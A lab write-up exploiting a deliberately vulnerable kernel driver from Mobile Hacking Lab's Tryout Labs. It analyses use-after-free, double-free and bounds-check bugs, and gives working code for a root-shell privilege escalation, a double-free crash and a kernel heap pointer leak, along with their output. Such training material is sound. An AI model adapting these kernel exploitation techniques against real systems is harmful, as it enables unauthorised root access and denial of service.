img-description

Introduction

This writeup explores a vulnerable Linux kernel driver from Mobile Hacking Lab’s Tryout Labs. The driver contains multiple Use-After-Free (UAF) vulnerabilities that can be exploited to achieve privilege escalation from a regular user to root.

Lab Setup

Navigate to the installed directory and run the Android kernel using the launch.sh script.

Saving 2048 bits of creditable seed for next boot
Starting syslogd: OK
Starting klogd: OK
Running sysctl: OK
Starting network: OK
Starting dhcpcd...
dhcpcd-10.0.1 starting
DUID 00:01:00:01:2c:d7:7d:4d:52:54:00:12:34:56
forked to background, child pid 130
no interfaces have a carrier
Starting sshd: [    2.367362] NOHZ tick-stop error: Non-RCU local softirq work is pending, handler #10!!!
[    2.443256] NOHZ tick-stop error: Non-RCU local softirq work is pending, handler #10!!!
OK

Welcome to Buildroot
buildroot login: user
Password: 
[   86.804368] NOHZ tick-stop error: Non-RCU local softirq work is pending, handler #10!!!
$ whoami
user
$ 

After booting, you’ll see a login screen. You can login with two accounts:

  • root:root
  • user:user

Understanding the Driver: A Simple Test

Before diving into vulnerabilities, let’s write a simple program to understand how the driver works. This will help us see what’s happening under the hood.

Basic Interaction Test

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

// Define the IOCTL commands (must match the driver)
#define CREATE_MSG _IO(1, 0)
#define CREATE_BUF _IO(1, 1)
#define READ_MSG _IO(1, 2)
#define LOG_MSG _IO(1, 3)
#define DELETE_MSG _IO(1, 4)
#define DELETE_BUF _IO(1, 5)

// Structure to communicate with the driver
struct user_req {
  unsigned int buf_id;
  unsigned int msg_id;
  char buffer[128];
};

int main() {
  // Step 1: Open the driver
  int fd = open("/proc/tryout", O_RDWR);
  if (fd < 0) {
    perror("Failed to open /proc/tryout");
    return 1;
  }
  printf("[✓] Successfully opened /proc/tryout\n");

  // Step 2: Create a message with ID 1
  struct user_req *req1 = calloc(1, sizeof(struct user_req));
  req1->msg_id = 1;

  if (ioctl(fd, CREATE_MSG, req1) == 0) {
    printf("[✓] Created message with ID: %d\n", req1->msg_id);
  } else {
    printf("[✗] Failed to create message\n");
  }

  // Step 3: Create a buffer and link it to the message
  struct user_req *req2 = calloc(1, sizeof(struct user_req));
  req2->msg_id = 1;
  req2->buf_id = 0;
  strcpy(req2->buffer, "Hello from userspace!");

  if (ioctl(fd, CREATE_BUF, req2) == 0) {
    printf("[✓] Created buffer with ID: %d and linked to message %d\n",
           req2->buf_id, req2->msg_id);
    printf("    Buffer content: \"%s\"\n", req2->buffer);
  } else {
    printf("[✗] Failed to create buffer\n");
  }

  // Step 4: Read the message buffer back
  struct user_req *req3 = calloc(1, sizeof(struct user_req));
  req3->msg_id = 1;

  if (ioctl(fd, READ_MSG, req3) == 0) {
    printf("[✓] Read message buffer successfully\n");
    printf("    Buffer content: \"%s\"\n", req3->buffer);
  } else {
    printf("[✗] Failed to read message\n");
  }

  // Step 5: Call the log function
  struct user_req *req4 = calloc(1, sizeof(struct user_req));
  req4->msg_id = 1;

  printf("[*] Calling LOG_MSG (check dmesg for kernel log)...\n");
  ioctl(fd, LOG_MSG, req4);

  // Step 6: Clean up
  struct user_req *req5 = calloc(1, sizeof(struct user_req));
  req5->buf_id = 0;

  if (ioctl(fd, DELETE_BUF, req5) == 0) {
    printf("[✓] Deleted buffer with ID: %d\n", req5->buf_id);
  }

  struct user_req *req6 = calloc(1, sizeof(struct user_req));
  req6->msg_id = 1;

  if (ioctl(fd, DELETE_MSG, req6) == 0) {
    printf("[✓] Deleted message with ID: %d\n", req6->msg_id);
  }

  // Clean up
  free(req1);
  free(req2);
  free(req3);
  free(req4);
  free(req5);
  free(req6);
  close(fd);

  return 0;
}

Compile and Run

# Move the vulnerable driver to root
scp -P 10021 tryoutlab.ko root@127.0.0.1:/root

# Login and load the driver
insmod tryoutlab.ko

[   76.461555] tryoutlab: loading out-of-tree module taints kernel.
[   76.463324] tryoutlab: module license 'MobileHackingLab' taints kernel.
[   76.464009] Disabling lock debugging due to kernel taint
[   76.497581] Welcome to MobileHackingLab - Android Kernel Tryoutlab
[   76.497664] Interact with driver --> /proc/tryout

# Compile test.c
aarch64-linux-gnu-gcc -w -static test.c -o test

# Move the test binary to user
scp -P 10021 test user@127.0.0.1:/home/user

# Run test
./test

Our test code now works perfectly in the user space.

$ ./test
[] Successfully opened /proc/tryout
[   76.500975] 
[  162.240497] New message created
[] Created message with ID: 1
[  162.240698] 
[  162.243487] Buffer created and linked to msg
[] Created buffer with ID: 0 and linked to message 1
    Buffer content: "Hello from userspace!"
[  162.243591] 
[  162.244293] Msg buffer read
[] Read message buffer successfully
    Buffer content: "Hello from userspace!"
[*] Calling LOG_MSG (check dmesg for kernel log)...
[  162.244385] 
[  162.244984] Message is logged: 1
[  162.245050] 
[  162.245197] Buffer removed
[] Deleted buffer with ID: 0
[  162.245242] 
[] Deleted message with ID: 1
$ 

Vulnerability Analysis

Driver Overview

The vulnerable driver implements a message management system with the following IOCTL commands:

  • CREATE_MSG - Creates a message object (kmalloc-128)
case CREATE_MSG:
    if (msgs[msg_id]){
        printk(KERN_INFO "Msg with id already exist");
        return 0;
    }

    obj = kmalloc(sizeof(struct msg),GFP_KERNEL);
    obj->id = msg_id;
    obj->secret_func = priv_esc;
    obj->log_func = kernel_log;
    msgs[msg_id] = obj;
    printk(KERN_INFO "New message created");
    break;
  • CREATE_BUF - Creates a buffer and links it to a message
case CREATE_BUF:

    if (buffers[buf_id] || !msgs[msg_id]){
        printk(KERN_INFO "Buffer already exist or msg doesn't exist");
        return 0;
    }
        
    buf = kmalloc(sizeof(req.buffer),GFP_KERNEL);
    memcpy(buf,req.buffer,sizeof(req.buffer));
    buffers[buf_id] = buf;
    msgs[msg_id]->buffer = buf;
    
    printk(KERN_INFO "Buffer created and linked to msg");

    break;
  • READ_MSG - Reads a message’s buffer
case READ_MSG:

    if (!msgs[msg_id]){
        printk(KERN_INFO "Msg with msg_id doesn't exist");
        return 0;
    }	
    obj = msgs[msg_id];
    memcpy(req.buffer,obj->buffer,sizeof(req.buffer));
    ret = copy_to_user((struct user_req __user*)arg,&req,sizeof(struct user_req));
    printk(KERN_INFO "Msg buffer read");

    break;
  • LOG_MSG - Calls the logging function pointer
case LOG_MSG:

    if (!msgs[msg_id]){
        printk(KERN_INFO "Msg with msg_id doesn't exist");
        return 0;
    }

    obj = msgs[msg_id];
    obj->log_func(obj->id);

    break;
  • DELETE_MSG - Frees a message object
case DELETE_MSG:

    if (!msgs[msg_id]){
        printk(KERN_INFO "Msg with msg_id doesn't exist");
        return 0;
    }
    obj = msgs[msg_id];
    kfree(obj);

    break;
  • DELETE_BUF - Frees a buffer
case DELETE_BUF:

    if (!buffers[buf_id])
    {	
        printk(KERN_INFO "Buffer with buf_id doesn't exist");
        return 0;
    }
    buf = buffers[buf_id];
    kfree(buf);
    buffers[buf_id] = NULL;
    printk(KERN_INFO "Buffer removed");
    break;

Data Structures

The driver uses two key structures:

struct user_req {
    unsigned int buf_id;
    unsigned int msg_id;
    char buffer[128];
};

struct msg {
    void (*log_func)(unsigned int);    // Function pointer at offset 0
    void (*secret_func)(void);          // priv_esc function at offset 8
    char *buffer;                       // Buffer pointer at offset 16
    unsigned int id;                    // Message ID at offset 24
    char pad[96];                       // Padding to 128 bytes
};

Critical Vulnerabilities

1. Use-After-Free in DELETE_BUF

When DELETE_BUF is called, the buffer is freed and only one of the references to it is cleared:

case DELETE_BUF:

    if (!buffers[buf_id])
    {	
        printk(KERN_INFO "Buffer with buf_id doesn't exist");
        return 0;
    }
    buf = buffers[buf_id];
    kfree(buf);
    buffers[buf_id] = NULL; // Only clears the global buffers[] entry
    // BUG: msgs[msg_id]->buffer still points to freed memory!

During creation, the buffer is assigned to two pointers:

memcpy(buf, req.buffer, sizeof(req.buffer));
buffers[buf_id] = buf;
msgs[msg_id]->buffer = buf;   // Message object also stores the pointer

Both buffers[buf_id] and msgs[msg_id]->buffer reference the same allocated buffer, so both must be cleared when it’s freed. However, the code only NULLs buffers[buf_id], leaving msgs[msg_id]->buffer pointing to freed memory and creating a UAF.

2. Use-After-Free in DELETE_MSG

When DELETE_MSG is called, the message object is freed but only one of the references is handled:

case DELETE_MSG:

    if (!msgs[msg_id]){
        printk(KERN_INFO "Msg with msg_id doesn't exist");
        return 0;
    }
    obj = msgs[msg_id];
    kfree(obj);
    // BUG: msgs[msg_id] still points to freed memory!

The global msgs[] array entry still points to the freed memory, allowing subsequent operations on the freed object.

3. Missing Bounds Check

The bounds check is ineffective:

if (req.msg_id > MAX || req.buf_id > MAX) {
    printk(KERN_INFO "Incorrect msg_id or buf_id");
    // BUG: Function continues execution!
}

4. Double Free Vulnerability

The combination of the UAF in DELETE_MSG creates a double free vulnerability. Since msgs[msg_id] is never set to NULL after freeing, we can call DELETE_MSG twice on the same message ID, causing the kernel to free the same memory twice.

case DELETE_MSG:
    if (!msgs[msg_id]){           // This check passes because pointer is not NULL!
        printk(KERN_INFO "Msg with msg_id doesn't exist");
        return 0;
    }
    obj = msgs[msg_id];            // Gets dangling pointer
    kfree(obj);                    // Frees already-freed memory!
    // msgs[msg_id] STILL not cleared!

Why This Happens:

  1. First DELETE_MSG: Frees the memory but leaves msgs[msg_id] pointing to it
  2. Second DELETE_MSG: The check if (!msgs[msg_id]) passes because the pointer is not NULL
  3. kfree() is called on already-freed memory
  4. Kernel heap allocator metadata gets corrupted
  5. System crashes or becomes unstable

Exploitation Strategy

The exploit uses a clever technique called “heap feng shui” - carefully arranging memory allocations and frees to control what data ends up where in kernel memory. Our goal is simple but powerful:

  1. Phase 1: Information Leak - Discover where the priv_esc() function lives in kernel memory
  2. Phase 2: Memory Corruption - Place that address where we want it
  3. Phase 3: Privilege Escalation - Trick the kernel into calling our function

Let’s Break Down What Happens

Step 1 & 2: Create and Free (Setting the Trap)

alt text

Step 3: Finding priv_esc Address

We need to know where priv_esc() lives in memory. We can find it using:

$ cat /proc/kallsyms | grep "priv_esc"
ffff800008e50000 t priv_esc	[tryoutlab]

This address ffff800008e50000 is our golden ticket! In little-endian format (how ARM64 stores multi-byte values):

alt text

Step 4: The Memory Swap (The Magic Trick)

// We create a buffer with our payload
uint8_t payload[8] = {0x00, 0x00, 0xe5, 0x08, 0x00, 0x80, 0xff, 0xff};
memcpy(request->buffer, payload, sizeof(payload));
ioctl(fd, CREATE_BUF, request);

What happens in kernel memory:

alt text

The Confusion:

  • The kernel’s buffer system thinks this is buffer data
  • But msgs[69] thinks this is still a message object!
  • The first 8 bytes of our buffer will be interpreted as the log_func pointer

Step 5: Hijacking Execution (Game Over)

printf("uid: %d\n", getuid());     // UID: 1000 (regular user)
ioctl(fd, LOG_MSG, request);       // Trigger the exploit!
printf("uid: %d\n", getuid());     // UID: 0 (root!)

What the kernel does when LOG_MSG is called:

alt text

Full exploit.c code

#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define CREATE_MSG _IO(1, 0)
#define CREATE_BUF _IO(1, 1)
#define READ_MSG _IO(1, 2)
#define LOG_MSG _IO(1, 3)
#define DELETE_MSG _IO(1, 4)
#define DELETE_BUF _IO(1, 5)

struct user_req {
  unsigned int buf_id;
  unsigned int msg_id;
  char buffer[128];
};

int main() {

  char *driver = "/proc/tryout";
  int fd = open(driver, O_RDWR);
  struct user_req *request = malloc(sizeof(struct user_req));

  memset(request, 0, sizeof(struct user_req));
  request->msg_id = 69;
  request->buf_id = 69;
  ioctl(fd, CREATE_MSG, request);
  ioctl(fd, DELETE_MSG, request);

  memset(request->buffer, 0x0, sizeof(request->buffer));
  uint8_t payload[8] = {0x00, 0x00, 0xe5, 0x08,
                        0x00, 0x80, 0xff, 0xff}; // address of priv_esc function
  memcpy(request->buffer, payload, sizeof(payload));

  printf("uid: %d\n", getuid());
  ioctl(fd, CREATE_BUF, request);
  ioctl(fd, LOG_MSG, request);
  printf("uid: %d\n", getuid());
  system("/bin/busybox sh");
  close(fd);
  return 0;
}
# compile the exploit
aarch64-linux-gnu-gcc -w -static exploit.c -o exploit

# move the binary to Android user 
scp -P 10021 exploit user@127.0.0.1:/home/user

We run the exploit and we are now root

$ ./exploit
[   48.187300] New message created
[   48.187356] 
uid: 1000
[   48.187694] 
[   48.192920] Buffer created and linked to msg
[   48.193692] 
uid: 0
$ whoami
root
$ 

Double Free Vulnerability

Since msgs[msg_id] contains a dangling pointer after DELETE_MSG, we can trigger a double free by calling DELETE_MSG twice on the same message ID. While not directly exploitable for privilege escalation in this scenario, it causes a Denial of Service (DoS) and crashes the driver.

How it happens:

case DELETE_MSG:
    if (!msgs[msg_id]){
        printk(KERN_INFO "Msg with msg_id doesn't exist");
        return 0;
    }
    obj = msgs[msg_id];
    kfree(obj);              // First free
    // BUG: msgs[msg_id] is NOT set to NULL!

Since msgs[msg_id] is never cleared, calling DELETE_MSG again will:

  1. Pass the null check (because msgs[msg_id] still points to freed memory)
  2. Call kfree() on already-freed memory
  3. Corrupt the kernel heap allocator’s metadata
  4. Crash the system

Visualizing the Double Free:

alt text

Proof of Concept - Double Free:

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define CREATE_MSG _IO(1, 0)
#define DELETE_MSG _IO(1, 4)

struct user_req {
    unsigned int buf_id;
    unsigned int msg_id;
    char buffer[128];
};

int main() {
    char *driver = "/proc/tryout";
    int fd = open(driver, O_RDWR);
    struct user_req *request = malloc(sizeof(struct user_req));

    memset(request, 0, sizeof(struct user_req));
    request->msg_id = 69;
    request->buf_id = 69;

    printf("[*] Creating message with ID 69...\n");
    ioctl(fd, CREATE_MSG, request);
    
    printf("[*] Deleting message (first time)...\n");
    ioctl(fd, DELETE_MSG, request); 
    
    printf("[!] Triggering double free...\n");
    ioctl(fd, DELETE_MSG, request); 
    
    close(fd);
    return 0;
}

compile the crash.c and move it into android and run it.

$ ./crash 
[*] Creating message with ID 69...
[   35.978551] New message created
[*] Deleting message (first time)...
[   35.978652] 
[!] Triggering double free...
[   35.980684] 

we can trigger it by trying to move something to android using scp.

[  263.265849] Unable to handle kernel paging request at virtual address 004c000000000a08
[  263.266779] Mem abort info:
[  263.267028]   ESR = 0x96000004
[  263.267318]   EC = 0x25: DABT (current EL), IL = 32 bits
[  263.267719]   SET = 0, FnV = 0
[  263.268012]   EA = 0, S1PTW = 0
[  263.268310] Data abort info:
[  263.268595]   ISV = 0, ISS = 0x00000004
[  263.268882]   CM = 0, WnR = 0
[  263.269067] [004c000000000a08] address between user and kernel address ranges
[  263.269388] Internal error: Oops: 96000004 [#1] PREEMPT SMP
[  263.269762] Modules linked in: tryoutlab(PO)
[  263.270920] CPU: 0 PID: 189 Comm: sshd Tainted: P           O      5.10.107-g62f70baf15f0-dirty #1
[  263.271367] Hardware name: linux,dummy-virt (DT)
[  263.271881] pstate: 60000085 (nZCv daIf -PAN -UAO -TCO BTYPE=--)
[  263.272384] pc : update_load_avg+0x2c/0x454
[  263.272747] lr : attach_entity_cfs_rq+0x40/0x21c
[  263.273003] sp : ffff80001209bc40
[  263.273235] x29: ffff80001209bc40 x28: ffff000002619200 
[  263.273676] x27: 0000000000000000 x26: 0000000000000000 
[  263.273964] x25: 0000000000000000 x24: 0000000000000000 
[  263.274182] x23: ffff000000000002 x22: ffff000002c86d80 
[  263.274403] x21: 0000000000000000 x20: ffff0000026192c0 
[  263.274611] x19: ffff000000000002 x18: ffff0000026192c0 
[  263.274799] x17: 0000000000000000 x16: 0000000000000000 
[  263.274950] x15: 0000000000000003 x14: 000000000191ece6 
[  263.275104] x13: 0000000001b708e6 x12: ffff800011b22000 
[  263.275267] x11: 000000000000ba73 x10: ffff800010e6a8d0 
[  263.275680] x9 : 0000000002e7374e x8 : 000000000000036c 
[  263.275946] x7 : 0000003d2b0db000 x6 : 0000000000000000 
[  263.276090] x5 : 0000000000000000 x4 : 0000000000000000 
[  263.276276] x3 : 0000000000000000 x2 : 0000000000000000 
[  263.276520] x1 : 0000000000000000 x0 : 1b4c000000000000 
[  263.276902] Call trace:
[  263.277145]  update_load_avg+0x2c/0x454
[  263.277261]  attach_entity_cfs_rq+0x40/0x21c
[  263.277363]  task_change_group_fair+0xcc/0x1f0
[  263.277465]  sched_change_group+0x4c/0xd4
[  263.277556]  sched_move_task+0x16c/0x194
[  263.277650]  autogroup_move_group+0x88/0x174
[  263.277763]  sched_autogroup_create_attach+0xc4/0x214
[  263.277888]  ksys_setsid+0xcc/0x100
[  263.277974]  __arm64_sys_setsid+0x10/0x20
[  263.278071]  el0_svc_common.constprop.0+0x74/0x1b4
[  263.278176]  do_el0_svc+0x28/0x9c
[  263.278269]  el0_svc+0x14/0x20
[  263.278348]  el0_sync_handler+0xa4/0x130
[  263.278440]  el0_sync+0x1a0/0x1c0
[  263.278791] Code: 2a0203f5 a90363f7 f9409800 f9406021 (f9450416) 
[  263.279150] ---[ end trace e20a9a97a88ab088 ]---
[  263.279349] note: sshd[189] exited with preempt_count 3

Now we can use double free exploit to leak values

#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define CREATE_MSG _IO(1, 0)
#define CREATE_BUF _IO(1, 1)
#define READ_MSG _IO(1, 2)
#define DELETE_MSG _IO(1, 4)

struct user_req {
    unsigned int buf_id;
    unsigned int msg_id;
    char buffer[128];
};

int main() {
    char *driver = "/proc/tryout";
    int fd = open(driver, O_RDWR);
    struct user_req *request = malloc(sizeof(struct user_req));

    // Fill with recognizable pattern
    memset(request, 0x41, sizeof(struct user_req));
    request->msg_id = 69;
    request->buf_id = 69;

    printf("[*] Creating message with ID 69...\n");
    ioctl(fd, CREATE_MSG, request);
    
    printf("[*] Deleting message (UAF trigger)...\n");
    ioctl(fd, DELETE_MSG, request);
    
    printf("[*] Creating buffer (reuses freed message slot)...\n");
    ioctl(fd, CREATE_BUF, request);

    // Clear and read back
    memset(request, 0x0, sizeof(struct user_req));
    request->msg_id = 69;
    request->buf_id = 69;
    
    printf("[*] Reading message to leak heap pointer...\n");
    ioctl(fd, READ_MSG, request);

    printf("[+] Leaked kernel heap pointer: ");
    
    // The buffer pointer is at offset 16 in the msg structure
    // In little-endian, we read it backwards
    for(int i = 23; i > 15; i--){
        printf("%02x", (unsigned char)request->buffer[i]);
    }
    
    printf("\n");
    
    // Alternative: Extract as uint64_t
    uint64_t leaked_ptr = 0;
    memcpy(&leaked_ptr, &request->buffer[16], 8);
    printf("[+] Leaked pointer (as number): 0x%016lx\n", leaked_ptr);

    close(fd);
    return 0;
}

we leak kernel heap pointer

$ ./leak 
[*] Creating message with ID 69...
[   31.024852] New message created
[*] Deleting message (UAF trigger)...
[   31.024889] 
[*] Creating buffer (reuses freed message slot)...
[   31.025390] 
[   31.025732] Buffer created and linked to msg
[*] Reading message to leak heap pointer...
[   31.025800] 
[   31.026175] Msg buffer read
[+] Leaked kernel heap pointer: ffff000003499f00
[+] Leaked pointer (as number): 0xffff000003499f00
$